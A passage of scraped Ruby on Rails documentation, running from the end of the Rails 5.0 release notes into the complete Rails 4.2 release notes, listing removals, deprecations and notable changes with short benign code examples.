- Removed support for PostgreSQL versions below 9.1. (Pull Request)

- Removed support for activerecord-deprecated_finders gem. (commit)

- Removed ActiveRecord::ConnectionAdapters::Column::TRUE_VALUES constant. (commit)

7.2 Deprecations

- Deprecated passing a class as a value in a query. Users should pass strings instead. (Pull Request)

- Deprecated returning false as a way to halt Active Record callback chains. The recommended way is to throw(:abort). (Pull Request)

- Deprecated ActiveRecord::Base.errors_in_transactional_callbacks=. (commit)

- Deprecated Relation#uniq use Relation#distinct instead. (commit)

- Deprecated the PostgreSQL :point type in favor of a new one which will return Point objects instead of an Array (Pull Request)

- Deprecated force association reload by passing a truthy argument to association method. (Pull Request)

- Deprecated the keys for association restrict_dependent_destroy errors in favor of new key names. (Pull Request)

- Synchronize behavior of #tables. (Pull Request)

- Deprecated SchemaCache#tables, SchemaCache#table_exists? and SchemaCache#clear_table_cache! in favor of their new data source counterparts. (Pull Request)

- Deprecated connection.tables on the SQLite3 and MySQL adapters. (Pull Request)

- Deprecated passing arguments to #tables - the #tables method of some adapters (mysql2, sqlite3) would return both tables and views while others (postgresql) just return tables. To make their behavior consistent, #tables will return only tables in the future. (Pull Request)

- Deprecated table_exists? - The #table_exists? method would check both tables and views. To make their behavior consistent with #tables, #table_exists? will check only tables in the future. (Pull Request)

- Deprecate sending the offset argument to find_nth. Please use the offset method on relation instead. (Pull Request)

- Deprecated {insert|update|delete}_sql in DatabaseStatements. Use the {insert|update|delete} public methods instead. (Pull Request)

- Deprecated use_transactional_fixtures in favor of use_transactional_tests for more clarity. (Pull Request)

- Deprecated passing a column to ActiveRecord::Connection#quote. (commit)

- Added an option end to find_in_batches that complements the start parameter to specify where to stop batch processing. (Pull Request)

7.3 Notable changes

- Added a foreign_key option to references while creating the table. (commit)

- New attributes API. (commit)

- Added :_prefix/:_suffix option to enum definition. (Pull Request, Pull Request)

- Added #cache_key to ActiveRecord::Relation. (Pull Request)

- Changed the default null value for timestamps to false. (commit)

- Added ActiveRecord::SecureToken in order to encapsulate generation of unique tokens for attributes in a model using SecureRandom. (Pull Request)

- Added :if_exists option for drop_table. (Pull Request)

- Added ActiveRecord::Base#accessed_fields, which can be used to quickly discover which fields were read from a model when you are looking to only select the data you need from the database. (commit)

- Added the #or method on ActiveRecord::Relation, allowing use of the OR operator to combine WHERE or HAVING clauses. (commit)

- Added ActiveRecord::Base.suppress to prevent the receiver from being saved during the given block. (Pull Request)

- belongs_to will now trigger a validation error by default if the association is not present. You can turn this off on a per-association basis with optional: true. Also deprecate required option in favor of optional for belongs_to. (Pull Request)

- Added config.active_record.dump_schemas to configure the behavior of db:structure:dump. (Pull Request)

- Added config.active_record.warn_on_records_fetched_greater_than option. (Pull Request)

- Added a native JSON data type support in MySQL. (Pull Request)

- Added support for dropping indexes concurrently in PostgreSQL. (Pull Request)

- Added #views and #view_exists? methods on connection adapters. (Pull Request)

- Added ActiveRecord::Base.ignored_columns to make some columns invisible from Active Record. (Pull Request)

- Added connection.data_sources and connection.data_source_exists?. These methods determine what relations can be used to back Active Record models (usually tables and views). (Pull Request)

- Allow fixtures files to set the model class in the YAML file itself. (Pull Request)

- Added ability to default to uuid as primary key when generating database migrations. (Pull Request)

- Added ActiveRecord::Relation#left_joins and ActiveRecord::Relation#left_outer_joins. (Pull Request)

- Added after_{create,update,delete}_commit callbacks. (Pull Request)

- Version the API presented to migration classes, so we can change parameter defaults without breaking existing migrations, or forcing them to be rewritten through a deprecation cycle. (Pull Request)

- ApplicationRecord is a new superclass for all app models, analogous to app controllers subclassing ApplicationController instead of ActionController::Base. This gives apps a single spot to configure app-wide model behavior. (Pull Request)

- Added ActiveRecord #second_to_last and #third_to_last methods. (Pull Request)

- Added ability to annotate database objects (tables, columns, indexes) with comments stored in database metadata for PostgreSQL & MySQL. (Pull Request)

- Added prepared statements support to mysql2 adapter, for mysql2 0.4.4+, Previously this was only supported on the deprecated mysql legacy adapter. To enable, set prepared_statements: true in config/database.yml. (Pull Request)

- Added ability to call ActionRecord::Relation#update on relation objects which will run validations on callbacks on all objects in the relation. (Pull Request)

- Added :touch option to the save method so that records can be saved without updating timestamps. (Pull Request)

- Added expression indexes and operator classes support for PostgreSQL. (commit)

- Added :index_errors option to add indexes to errors of nested attributes. (Pull Request)

- Added support for bidirectional destroy dependencies. (Pull Request)

- Added support for after_commit callbacks in transactional tests. (Pull Request)

- Added foreign_key_exists? method to see if a foreign key exists on a table or not. (Pull Request)

- Added :time option to touch method to touch records with different time than the current time. (Pull Request)

- Change transaction callbacks to not swallow errors. Before this change any errors raised inside a transaction callback were getting rescued and printed in the logs, unless you used the (newly deprecated) raise_in_transactional_callbacks = true option. Now these errors are not rescued anymore and just bubble up, matching the behavior of other callbacks. (commit)

8 Active Model

Please refer to the Changelog for detailed changes.

8.1 Removals

- Removed deprecated ActiveModel::Dirty#reset_#{attribute} and ActiveModel::Dirty#reset_changes. (Pull Request)

- Removed XML serialization. This feature has been extracted into the activemodel-serializers-xml gem. (Pull Request)

- Removed ActionController::ModelNaming module. (Pull Request)

8.2 Deprecations

- Deprecated returning false as a way to halt Active Model and ActiveModel::Validations callback chains. The recommended way is to throw(:abort). (Pull Request)

- Deprecated ActiveModel::Errors#get, ActiveModel::Errors#set and ActiveModel::Errors#[]= methods that have inconsistent behavior. (Pull Request)

- Deprecated the :tokenizer option for validates_length_of, in favor of plain Ruby. (Pull Request)

- Deprecated ActiveModel::Errors#add_on_empty and ActiveModel::Errors#add_on_blank with no replacement. (Pull Request)

8.3 Notable changes

- Added ActiveModel::Errors#details to determine what validator has failed. (Pull Request)

- Extracted ActiveRecord::AttributeAssignment to ActiveModel::AttributeAssignment allowing to use it for any object as an includable module. (Pull Request)

- Added ActiveModel::Dirty#[attr_name]_previously_changed? and ActiveModel::Dirty#[attr_name]_previous_change to improve access to recorded changes after the model has been saved. (Pull Request)

- Validate multiple contexts on valid? and invalid? at once. (Pull Request)

- Change validates_acceptance_of to accept true as default value apart from 1. (Pull Request)

9 Active Job

Please refer to the Changelog for detailed changes.

9.1 Notable changes

- ActiveJob::Base.deserialize delegates to the job class. This allows jobs to attach arbitrary metadata when they get serialized and read it back when they get performed. (Pull Request)

- Add ability to configure the queue adapter on a per job basis without affecting each other. (Pull Request)

- A generated job now inherits from app/jobs/application_job.rb by default. (Pull Request)

- Allow DelayedJob, Sidekiq, qu, que, and queue_classic to report the job id back to ActiveJob::Base as provider_job_id. (Pull Request, Pull Request, commit)

- Implement a simple AsyncJob processor and associated AsyncAdapter that queue jobs to a concurrent-ruby thread pool. (Pull Request)

- Change the default adapter from inline to async. It's a better default as tests will then not mistakenly come to rely on behavior happening synchronously. (commit)

10 Active Support

Please refer to the Changelog for detailed changes.

10.1 Removals

- Removed deprecated ActiveSupport::JSON::Encoding::CircularReferenceError. (commit)

- Removed deprecated methods ActiveSupport::JSON::Encoding.encode_big_decimal_as_string= and ActiveSupport::JSON::Encoding.encode_big_decimal_as_string. (commit)

- Removed deprecated ActiveSupport::SafeBuffer#prepend. (commit)

- Removed deprecated methods from Kernel. silence_stderr, silence_stream, capture and quietly. (commit)

- Removed deprecated active_support/core_ext/big_decimal/yaml_conversions file. (commit)

- Removed deprecated methods ActiveSupport::Cache::Store.instrument and ActiveSupport::Cache::Store.instrument=. (commit)

- Removed deprecated Class#superclass_delegating_accessor. Use Class#class_attribute instead. (Pull Request)

- Removed deprecated ThreadSafe::Cache. Use Concurrent::Map instead. (Pull Request)

- Removed Object#itself as it is implemented in Ruby 2.2. (Pull Request)

10.2 Deprecations

- Deprecated MissingSourceFile in favor of LoadError. (commit)

- Deprecated alias_method_chain in favour of Module#prepend introduced in Ruby 2.0. (Pull Request)

- Deprecated ActiveSupport::Concurrency::Latch in favor of Concurrent::CountDownLatch from concurrent-ruby. (Pull Request)

- Deprecated :prefix option of number_to_human_size with no replacement. (Pull Request)

- Deprecated Module#qualified_const_ in favour of the builtin Module#const_ methods. (Pull Request)

- Deprecated passing string to define callback. (Pull Request)

- Deprecated ActiveSupport::Cache::Store#namespaced_key, ActiveSupport::Cache::MemCachedStore#escape_key, and ActiveSupport::Cache::FileStore#key_file_path. Use normalize_key instead. (Pull Request, commit)

- Deprecated ActiveSupport::Cache::LocaleCache#set_cache_value in favor of write_cache_value. (Pull Request)

- Deprecated passing arguments to assert_nothing_raised. (Pull Request)

- Deprecated Module.local_constants in favor of Module.constants(false). (Pull Request)

10.3 Notable changes

- Added #verified and #valid_message? methods to ActiveSupport::MessageVerifier. (Pull Request)

- Changed the way in which callback chains can be halted. The preferred method to halt a callback chain from now on is to explicitly throw(:abort). (Pull Request)

- New config option config.active_support.halt_callback_chains_on_return_false to specify whether ActiveRecord, ActiveModel, and ActiveModel::Validations callback chains can be halted by returning false in a 'before' callback. (Pull Request)

- Changed the default test order from :sorted to :random. (commit)

- Added #on_weekend?, #on_weekday?, #next_weekday, #prev_weekday methods to Date, Time, and DateTime. (Pull Request, Pull Request)

- Added same_time option to #next_week and #prev_week for Date, Time, and DateTime. (Pull Request)

- Added #prev_day and #next_day counterparts to #yesterday and #tomorrow for Date, Time, and DateTime. (Pull Request)

- Added SecureRandom.base58 for generation of random base58 strings. (commit)

- Added file_fixture to ActiveSupport::TestCase. It provides a simple mechanism to access sample files in your test cases. (Pull Request)

- Added #without on Enumerable and Array to return a copy of an enumerable without the specified elements. (Pull Request)

- Added ActiveSupport::ArrayInquirer and Array#inquiry. (Pull Request)

- Added ActiveSupport::TimeZone#strptime to allow parsing times as if from a given timezone. (commit)

- Added Integer#positive? and Integer#negative? query methods in the vein of Integer#zero?. (commit)

- Added a bang version to ActiveSupport::OrderedOptions get methods which will raise an KeyError if the value is .blank?. (Pull Request)

- Added Time.days_in_year to return the number of days in the given year, or the current year if no argument is provided. (commit)

- Added an evented file watcher to asynchronously detect changes in the application source code, routes, locales, etc. (Pull Request)

- Added thread_m/cattr_accessor/reader/writer suite of methods for declaring class and module variables that live per-thread. (Pull Request)

- Added Array#second_to_last and Array#third_to_last methods. (Pull Request)

- Publish ActiveSupport::Executor and ActiveSupport::Reloader APIs to allow components and libraries to manage, and participate in, the execution of application code, and the application reloading process. (Pull Request)

- ActiveSupport::Duration now supports ISO8601 formatting and parsing. (Pull Request)

- ActiveSupport::JSON.decode now supports parsing ISO8601 local times when parse_json_times is enabled. (Pull Request)

- ActiveSupport::JSON.decode now return Date objects for date strings. (Pull Request)

- Added ability to TaggedLogging to allow loggers to be instantiated multiple times so that they don't share tags with each other. (Pull Request)

11 Credits

See the full list of contributors to Rails for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.

Ruby on Rails 4.2 Release Notes — Ruby...

1 Upgrading to Rails 4.2

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 4.1 in case you haven't and make sure your application still runs as expected before attempting to upgrade to Rails 4.2. A list of things to watch out for when upgrading is available in the guide Upgrading Ruby on Rails.

2 Major Features

2.1 Active Job

Active Job is a new framework in Rails 4.2. It is a common interface on top of queuing systems like Resque, Delayed Job, Sidekiq, and more.

Jobs written with the Active Job API run on any of the supported queues thanks to their respective adapters. Active Job comes pre-configured with an inline runner that executes jobs right away.

Jobs often need to take Active Record objects as arguments. Active Job passes object references as URIs (uniform resource identifiers) instead of marshalling the object itself. The new Global ID library builds URIs and looks up the objects they reference. Passing Active Record objects as job arguments just works by using Global ID internally.

For example, if trashable is an Active Record object, then this job runs just fine with no serialization involved:

class TrashableCleanupJob < ActiveJob::Base
def perform(trashable, depth)
trashable.cleanup(depth)
end
end

class TrashableCleanupJob < ActiveJob::Base def perform(trashable, depth) trashable.cleanup(depth) end end Copiar

See the Active Job Basics guide for more information.

2.2 Asynchronous Mails

Building on top of Active Job, Action Mailer now comes with a deliver_later method that sends emails via the queue, so it doesn't block the controller or model if the queue is asynchronous (the default inline queue blocks).

Sending emails right away is still possible with deliver_now.

2.3 Adequate Record

Adequate Record is a set of performance improvements in Active Record that makes common find and find_by calls and some association queries up to 2x faster.

It works by caching common SQL queries as prepared statements and reusing them on similar calls, skipping most of the query-generation work on subsequent calls. For more details, please refer to Aaron Patterson's blog post.

Active Record will automatically take advantage of this feature on supported operations without any user involvement or code changes. Here are some examples of supported operations:

Post.find(1)  # First call generates and cache the prepared statement
Post.find(2)  # Subsequent calls reuse the cached prepared statement

Post.find_by_title('first post')
Post.find_by_title('second post')

Post.find_by(title: 'first post')
Post.find_by(title: 'second post')

post.comments
post.comments(true)

Post.find(1) # First call generates and cache the prepared statement Post.find(2) # Subsequent calls reuse the cached prepared statement Post.find_by_title('first post') Post.find_by_title('second post') Post.find_by(title: 'first post') Post.find_by(title: 'second post') post.comments post.comments(true) Copiar

It's important to highlight that, as the examples above suggest, the prepared statements do not cache the values passed in the method calls; rather, they have placeholders for them.

Caching is not used in the following scenarios:

- The model has a default scope

- The model uses single table inheritance

- find with a list of ids, e.g.:

# not cached
Post.find(1, 2, 3)
Post.find([1,2])

# not cached Post.find(1, 2, 3) Post.find([1,2]) Copiar

- find_by with SQL fragments:

Post.find_by('published_at < ?', 2.weeks.ago)

Post.find_by('published_at < ?', 2.weeks.ago) Copiar

2.4 Web Console

New applications generated with Rails 4.2 now come with the Web Console gem by default. Web Console adds an interactive Ruby console on every error page and provides a console view and controller helpers.

The interactive console on error pages lets you execute code in the context of the place where the exception originated. The console helper, if called anywhere in a view or controller, launches an interactive console with the final context, once rendering has completed.

2.5 Foreign Key Support

The migration DSL now supports adding and removing foreign keys. They are dumped to schema.rb as well. At this time, only the mysql, mysql2 and postgresql adapters support foreign keys.

# add a foreign key to `articles.author_id` referencing `authors.id`
add_foreign_key :articles, :authors

# add a foreign key to `articles.author_id` referencing `users.lng_id`
add_foreign_key :articles, :users, column: :author_id, primary_key: "lng_id"

# remove the foreign key on `accounts.branch_id`
remove_foreign_key :accounts, :branches

# remove the foreign key on `accounts.owner_id`
remove_foreign_key :accounts, column: :owner_id

# add a foreign key to `articles.author_id` referencing `authors.id` add_foreign_key :articles, :authors # add a foreign key to `articles.author_id` referencing `users.lng_id` add_foreign_key :articles, :users, column: :author_id, primary_key: "lng_id" # remove the foreign key on `accounts.branch_id` remove_foreign_key :accounts, :branches # remove the foreign key on `accounts.owner_id` remove_foreign_key :accounts, column: :owner_id Copiar

See the API documentation on add_foreign_key and remove_foreign_key for a full description.

3 Incompatibilities

Previously deprecated functionality has been removed. Please refer to the individual components for new deprecations in this release.

The following changes may require immediate action upon upgrade.

3.1 render with a String Argument

Previously, calling render "foo/bar" in a controller action was equivalent to render file: "foo/bar". In Rails 4.2, this has been changed to mean render template: "foo/bar" instead. If you need to render a file, please change your code to use the explicit form (render file: "foo/bar") instead.

3.2 respond_with / Class-Level respond_to

respond_with and the corresponding class-level respond_to have been moved to the responders gem. Add gem 'responders', '~> 2.0' to your Gemfile to use it:

# app/controllers/users_controller.rb

class UsersController < ApplicationController
respond_to :html, :json

def show
@user = User.find(params[:id])
respond_with @user
end
end

# app/controllers/users_controller.rb class UsersController < ApplicationController respond_to :html, :json def show @user = User.find(params[:id]) respond_with @user end end Copiar

Instance-level respond_to is unaffected:

# app/controllers/users_controller.rb

class UsersController < ApplicationController
def show
@user = User.find(params[:id])
respond_to do |format|
format.html
format.json { render json: @user }
end
end
end

# app/controllers/users_controller.rb class UsersController < ApplicationController def show @user = User.find(params[:id]) respond_to do |format| format.html format.json { render json: @user } end end end Copiar

3.3 Default Host for rails server

Due to a change in Rack, rails server now listens on localhost instead of 0.0.0.0 by default. This should have minimal impact on the standard development workflow as both http://127.0.0.1:3000 and http://localhost:3000 will continue to work as before on your own machine.

However, with this change you will no longer be able to access the Rails server from a different machine, for example if your development environment is in a virtual machine and you would like to access it from the host machine. In such cases, please start the server with rails server -b 0.0.0.0 to restore the old behavior.

If you do this, be sure to configure your firewall properly such that only trusted machines on your network can access your development server.

3.4 Changed status option symbols for render

Due to a change in Rack, the symbols that the render method accepts for the :status option have changed:

- 306: :reserved has been removed.

- 413: :request_entity_too_large has been renamed to :payload_too_large.

- 414: :request_uri_too_long has been renamed to :uri_too_long.

- 416: :requested_range_not_satisfiable has been renamed to :range_not_satisfiable.

Keep in mind that if calling render with an unknown symbol, the response status will default to 500.

3.5 HTML Sanitizer

The HTML sanitizer has been replaced with a new, more robust, implementation built upon Loofah and Nokogiri. The new sanitizer is more secure and its sanitization is more powerful and flexible.

Due to the new algorithm, the sanitized output may be different for certain pathological inputs.

If you have a particular need for the exact output of the old sanitizer, you can add the rails-deprecated_sanitizer gem to the Gemfile, to have the old behavior. The gem does not issue deprecation warnings because it is opt-in.

rails-deprecated_sanitizer will be supported for Rails 4.2 only; it will not be maintained for Rails 5.0.

See this blog post for more details on the changes in the new sanitizer.

3.6 assert_select

assert_select is now based on Nokogiri. As a result, some previously-valid selectors are now unsupported. If your application is using any of these spellings, you will need to update them:

- Values in attribute selectors may need to be quoted if they contain non-alphanumeric characters.

# before
a[href=/]
a[href$=/]

# now
a[href="/"]
a[href$="/"]

# before a[href=/] a[href$=/] # now a[href="/"] a[href$="/"] Copiar

- DOMs built from HTML source containing invalid HTML with improperly nested elements may differ. For example:

# content: <div><i><p></i></div>

# before:
assert_select('div > i')  # => true
assert_select('div > p')  # => false
assert_select('i > p')    # => true

# now:
assert_select('div > i')  # => true
assert_select('div > p')  # => true
assert_select('i > p')    # => false

# content: <div><i><p></i></div> # before: assert_select('div > i') # => true assert_select('div > p') # => false assert_select('i > p') # => true # now: assert_select('div > i') # => true assert_select('div > p') # => true assert_select('i > p') # => false Copiar

- If the data selected contains entities, the value selected for comparison used to be raw (e.g. AT&amp;T), and now is evaluated (e.g. AT&T).

# content: <p>AT&amp;T</p>

# before:
assert_select('p', 'AT&amp;T')  # => true
assert_select('p', 'AT&T')      # => false

# now:
assert_select('p', 'AT&T')      # => true
assert_select('p', 'AT&amp;T')  # => false

# content: <p>AT&amp;T</p> # before: assert_select('p', 'AT&amp;T') # => true assert_select('p', 'AT&T') # => false # now: assert_select('p', 'AT&T') # => true assert_select('p', 'AT&amp;T') # => false Copiar

Furthermore substitutions have changed syntax.

Now you have to use a :match CSS-like selector:

assert_select ":match('id', ?)", 'comment_1'

assert_select ":match('id', ?)", 'comment_1' Copiar

Additionally Regexp substitutions look different when the assertion fails. Notice how /hello/ here:

assert_select(":match('id', ?)", /hello/)

assert_select(":match('id', ?)", /hello/) Copiar

becomes "(?-mix:hello)":

Expected at least 1 element matching "div:match('id', "(?-mix:hello)")", found 0..
Expected 0 to be >= 1.

Expected at least 1 element matching "div:match('id', "(?-mix:hello)")", found 0.. Expected 0 to be >= 1. Copiar

See the Rails Dom Testing documentation for more on assert_select.

4 Railties

Please refer to the Changelog for detailed changes.

4.1 Removals

- The --skip-action-view option has been removed from the app generator. (Pull Request)

- The rails application command has been removed without replacement. (Pull Request)

4.2 Deprecations

- Deprecated missing config.log_level for production environments. (Pull Request)

- Deprecated rake test:all in favor of rake test as it now run all tests in the test folder. (Pull Request)

- Deprecated rake test:all:db in favor of rake test:db. (Pull Request)

- Deprecated Rails::Rack::LogTailer without replacement. (Commit)

4.3 Notable changes

- Introduced web-console in the default application Gemfile. (Pull Request)

- Added a required option to the model generator for associations. (Pull Request)

- Introduced the x namespace for defining custom configuration options:

# config/environments/production.rb
config.x.payment_processing.schedule = :daily
config.x.payment_processing.retries  = 3
config.x.super_debugger              = true

# config/environments/production.rb config.x.payment_processing.schedule = :daily config.x.payment_processing.retries = 3 config.x.super_debugger = true Copiar
These options are then available through the configuration object:

Rails.configuration.x.payment_processing.schedule # => :daily
Rails.configuration.x.payment_processing.retries  # => 3
Rails.configuration.x.super_debugger              # => true

Rails.configuration.x.payment_processing.schedule # => :daily Rails.configuration.x.payment_processing.retries # => 3 Rails.configuration.x.super_debugger # => true Copiar
(Commit)

- Introduced Rails::Application.config_for to load a configuration for the current environment.

# config/exception_notification.yml
production:
url: http://127.0.0.1:8080
namespace: my_app_production
development:
url: http://localhost:3001
namespace: my_app_development

# config/exception_notification.yml production: url: http://127.0.0.1:8080 namespace: my_app_production development: url: http://localhost:3001 namespace: my_app_development Copiar

# config/environments/production.rb
Rails.application.configure do
config.middleware.use ExceptionNotifier, config_for(:exception_notification)
end

# config/environments/production.rb Rails.application.configure do config.middleware.use ExceptionNotifier, config_for(:exception_notification) end Copiar
(Pull Request)

- Introduced a --skip-turbolinks option in the app generator to not generate turbolinks integration. (Commit)

- Introduced a bin/setup script as a convention for automated setup code when bootstrapping an application. (Pull Request)

- Changed the default value for config.assets.digest to true in development. (Pull Request)

- Introduced an API to register new extensions for rake notes. (Pull Request)

- Introduced an after_bundle callback for use in Rails templates. (Pull Request)

- Introduced Rails.gem_version as a convenience method to return Gem::Version.new(Rails.version). (Pull Request)

5 Action Pack

Please refer to the Changelog for detailed changes.

5.1 Removals

- respond_with and the class-level respond_to have been removed from Rails and moved to the responders gem (version 2.0). Add gem 'responders', '~> 2.0' to your Gemfile to continue using these features. (Pull Request, More Details)

- Removed deprecated AbstractController::Helpers::ClassMethods::MissingHelperError in favor of AbstractController::Helpers::MissingHelperError. (Commit)

5.2 Deprecations

- Deprecated the only_path option on *_path helpers. (Commit)

- Deprecated assert_tag, assert_no_tag, find_tag and find_all_tag in favor of assert_select. (Commit)

- Deprecated support for setting the :to option of a router to a symbol or a string that does not contain a "#" character:

get '/posts', to: MyRackApp    => (No change necessary)
get '/posts', to: 'post#index' => (No change necessary)
get '/posts', to: 'posts'      => get '/posts', controller: :posts
get '/posts', to: :index       => get '/posts', action: :index

get '/posts', to: MyRackApp => (No change necessary) get '/posts', to: 'post#index' => (No change necessary) get '/posts', to: 'posts' => get '/posts', controller: :posts get '/posts', to: :index => get '/posts', action: :index Copiar
(Commit)

- Deprecated support for string keys in URL helpers:

# bad
root_path('controller' => 'posts', 'action' => 'index')

# good
root_path(controller: 'posts', action: 'index')

# bad root_path('controller' => 'posts', 'action' => 'index') # good root_path(controller: 'posts', action: 'index') Copiar
(Pull Request)

5.3 Notable changes

- The *_filter family of methods have been removed from the documentation. Their usage is discouraged in favor of the *_action family of methods:

after_filter          => after_action
append_after_filter   => append_after_action
append_around_filter  => append_around_action
append_before_filter  => append_before_action
around_filter         => around_action
before_filter         => before_action
prepend_after_filter  => prepend_after_action
prepend_around_filter => prepend_around_action
prepend_before_filter => prepend_before_action
skip_after_filter     => skip_after_action
skip_around_filter    => skip_around_action
skip_before_filter    => skip_before_action
skip_filter           => skip_action_callback

after_filter => after_action append_after_filter => append_after_action append_around_filter => append_around_action append_before_filter => append_before_action around_filter => around_action before_filter => before_action prepend_after_filter => prepend_after_action prepend_around_filter => prepend_around_action prepend_before_filter => prepend_before_action skip_after_filter => skip_after_action skip_around_filter => skip_around_action skip_before_filter => skip_before_action skip_filter => skip_action_callback Copiar
If your application currently depends on these methods, you should use the replacement *_action methods instead. These methods will be deprecated in the future and will eventually be removed from Rails. (Commit 1, 2)

- render nothing: true or rendering a nil body no longer add a single space padding to the response body. (Pull Request)

- Rails now automatically includes the template's digest in ETags. (Pull Request)

- Segments that are passed into URL helpers are now automatically escaped. (Commit)

- Introduced the always_permitted_parameters option to configure which parameters are permitted globally. The default value of this configuration is ['controller', 'action']. (Pull Request)

- Added the HTTP method MKCALENDAR from RFC 4791. (Pull Request)

- *_fragment.action_controller notifications now include the controller and action name in the payload. (Pull Request)

- Improved the Routing Error page with fuzzy matching for route search. (Pull Request)

- Added an option to disable logging of CSRF failures. (Pull Request)

- When the Rails server is set to serve static assets, gzip assets will now be served if the client supports it and a pre-generated gzip file (.gz) is on disk. By default the asset pipeline generates .gz files for all compressible assets. Serving gzip files minimizes data transfer and speeds up asset requests. Always use a CDN if you are serving assets from your Rails server in production. (Pull Request)

- When calling the process helpers in an integration test the path needs to have a leading slash. Previously you could omit it but that was a byproduct of the implementation and not an intentional feature, e.g.:

test "list all posts" do
get "/posts"
assert_response :success
end

test "list all posts" do get "/posts" assert_response :success end Copiar

6 Action View

Please refer to the Changelog for detailed changes.

6.1 Deprecations

- Deprecated AbstractController::Base.parent_prefixes. Override AbstractController::Base.local_prefixes when you want to change where to find views. (Pull Request)

- Deprecated ActionView::Digestor#digest(name, format, finder, options = {}). Arguments should be passed as a hash instead. (Pull Request)

6.2 Notable changes

- render "foo/bar" now expands to render template: "foo/bar" instead of render file: "foo/bar". (Pull Request)

- The form helpers no longer generate a <div> element with inline CSS around the hidden fields. (Pull Request)

- Introduced a #{partial_name}_iteration special local variable for use with partials that are rendered with a collection. It provides access to the current state of the iteration via the index, size, first? and last? methods. (Pull Request)

- Placeholder I18n follows the same convention as label I18n. (Pull Request)

7 Action Mailer

Please refer to the Changelog for detailed changes.

7.1 Deprecations

- Deprecated *_path helpers in mailers. Always use *_url helpers instead. (Pull Request)

- Deprecated deliver / deliver! in favor of deliver_now / deliver_now!. (Pull Request)

7.2 Notable changes

- link_to and url_for generate absolute URLs by default in templates, it is no longer needed to pass only_path: false. (Commit)

- Introduced deliver_later which enqueues a job on the application's queue to deliver emails asynchronously. (Pull Request)

- Added the show_previews configuration option for enabling mailer previews outside of the development environment. (Pull Request)

8 Active Record

Please refer to the Changelog for detailed changes.

8.1 Removals

- Removed cache_attributes and friends. All attributes are cached. (Pull Request)

- Removed deprecated method ActiveRecord::Base.quoted_locking_column. (Pull Request)

- Removed deprecated ActiveRecord::Migrator.proper_table_name. Use the proper_table_name instance method on ActiveRecord::Migration instead. (Pull Request)

- Removed unused :timestamp type. Transparently alias it to :datetime in all cases. Fixes inconsistencies when column types are sent outside of Active Record, such as for XML serialization. (Pull Request)

8.2 Deprecations

- Deprecated swallowing of errors inside after_commit and after_rollback. (Pull Request)

- Deprecated broken support for automatic detection of counter caches on has_many :through associations. You should instead manually specify the counter cache on the has_many and belongs_to associations for the through records. (Pull Request)

- Deprecated passing Active Record objects to .find or .exists?. Call id on the objects first. (Commit 1, 2)

- Deprecated half-baked support for PostgreSQL range values with excluding beginnings. We currently map PostgreSQL ranges to Ruby ranges. This conversion is not fully possible because Ruby ranges do not support excluded beginnings. The current solution of incrementing the beginning is not correct and is now deprecated. For subtypes where we don't know how to increment (e.g. succ is not defined) it will raise an ArgumentError for ranges with excluding beginnings. (Commit)

- Deprecated calling DatabaseTasks.load_schema without a connection. Use DatabaseTasks.load_schema_current instead. (Commit)

- Deprecated sanitize_sql_hash_for_conditions without replacement. Using a Relation for performing queries and updates is the preferred API. (Commit)

- Deprecated add_timestamps and t.timestamps without passing the :null option. The default of null: true will change in Rails 5 to null: false. (Pull Request)

- Deprecated Reflection#source_macro without replacement as it is no longer needed in Active Record. (Pull Request)

- Deprecated serialized_attributes without replacement. (Pull Request)

- Deprecated returning nil from column_for_attribute when no column exists. It will return a null object in Rails 5.0. (Pull Request)

- Deprecated using .joins, .preload and .eager_load with associations that depend on the instance state (i.e. those defined with a scope that takes an argument) without replacement. (Commit)

8.3 Notable changes

- SchemaDumper uses force: :cascade on create_table. This makes it possible to reload a schema when foreign keys are in place.

- Added a :required option to singular associations, which defines a presence validation on the association. (Pull Request)

- ActiveRecord::Dirty now detects in-place changes to mutable values. Serialized attributes on Active Record models are no longer saved when unchanged. This also works with other types such as string columns and json columns on PostgreSQL. (Pull Requests 1, 2, 3)

- Introduced the db:purge Rake task to empty the database for the current environment. (Commit)

- Introduced ActiveRecord::Base#validate! that raises ActiveRecord::RecordInvalid if the record is invalid. (Pull Request)

- Introduced validate as an alias for valid?. (Pull Request)

- touch now accepts multiple attributes to be touched at once. (Pull Request)

- The PostgreSQL adapter now supports the jsonb datatype in PostgreSQL 9.4+. (Pull Request)

- The PostgreSQL and SQLite adapters no longer add a default limit of 255 characters on string columns. (Pull Request)

- Added support for the citext column type in the PostgreSQL adapter. (Pull Request)

- Added support for user-created range types in the PostgreSQL adapter. (Commit)

- sqlite3:///some/path now resolves to the absolute system path /some/path. For relative paths, use sqlite3:some/path instead. (Previously, sqlite3:///some/path resolved to the relative path some/path. This behavior was deprecated on Rails 4.1). (Pull Request)

- Added support for fractional seconds for MySQL 5.6 and above. (Pull Request 1, 2)

- Added ActiveRecord::Base#pretty_print to pretty print models. (Pull Request)

- ActiveRecord::Base#reload now behaves the same as m = Model.find(m.id), meaning that it no longer retains the extra attributes from custom SELECTs. (Pull Request)

- ActiveRecord::Base#reflections now returns a hash with string keys instead of symbol keys. (Pull Request)

- The references method in migrations now supports a type option for specifying the type of the foreign key (e.g. :uuid). (Pull Request)

9 Active Model

Please refer to the Changelog for detailed changes.

9.1 Removals

- Removed deprecated Validator#setup without replacement. (Pull Request)

9.2 Deprecations

- Deprecated reset_#{attribute} in favor of restore_#{attribute}. (Pull Request)

- Deprecated ActiveModel::Dirty#reset_changes in favor of clear_changes_information. (Pull Request)

9.3 Notable changes

- Introduced validate as an alias for valid?. (Pull Request)

- Introduced the restore_attributes method in ActiveModel::Dirty to restore the changed (dirty) attributes to their previous values. (Pull Request 1, 2)

- has_secure_password no longer disallows blank passwords (i.e. passwords that contains only spaces) by default. (Pull Request)

- has_secure_password now verifies that the given password is less than 72 characters if validations are enabled. (Pull Request)

10 Active Support

Please refer to the Changelog for detailed changes.

10.1 Removals

- Removed deprecated Numeric#ago, Numeric#until, Numeric#since, Numeric#from_now. (Commit)

- Removed deprecated string based terminators for ActiveSupport::Callbacks. (Pull Request)

10.2 Deprecations

- Deprecated Kernel#silence_stderr, Kernel#capture and Kernel#quietly without replacement. (Pull Request)

- Deprecated Class#superclass_delegating_accessor, use Class#class_attribute instead. (Pull Request)

- Deprecated ActiveSupport::SafeBuffer#prepend! as ActiveSupport::SafeBuffer#prepend now performs the same function. (Pull Request)

10.3 Notable changes

- Introduced a new configuration option active_support.test_order for specifying the order test cases are executed. This option currently defaults to :sorted but will be changed to :random in Rails 5.0. (Commit)

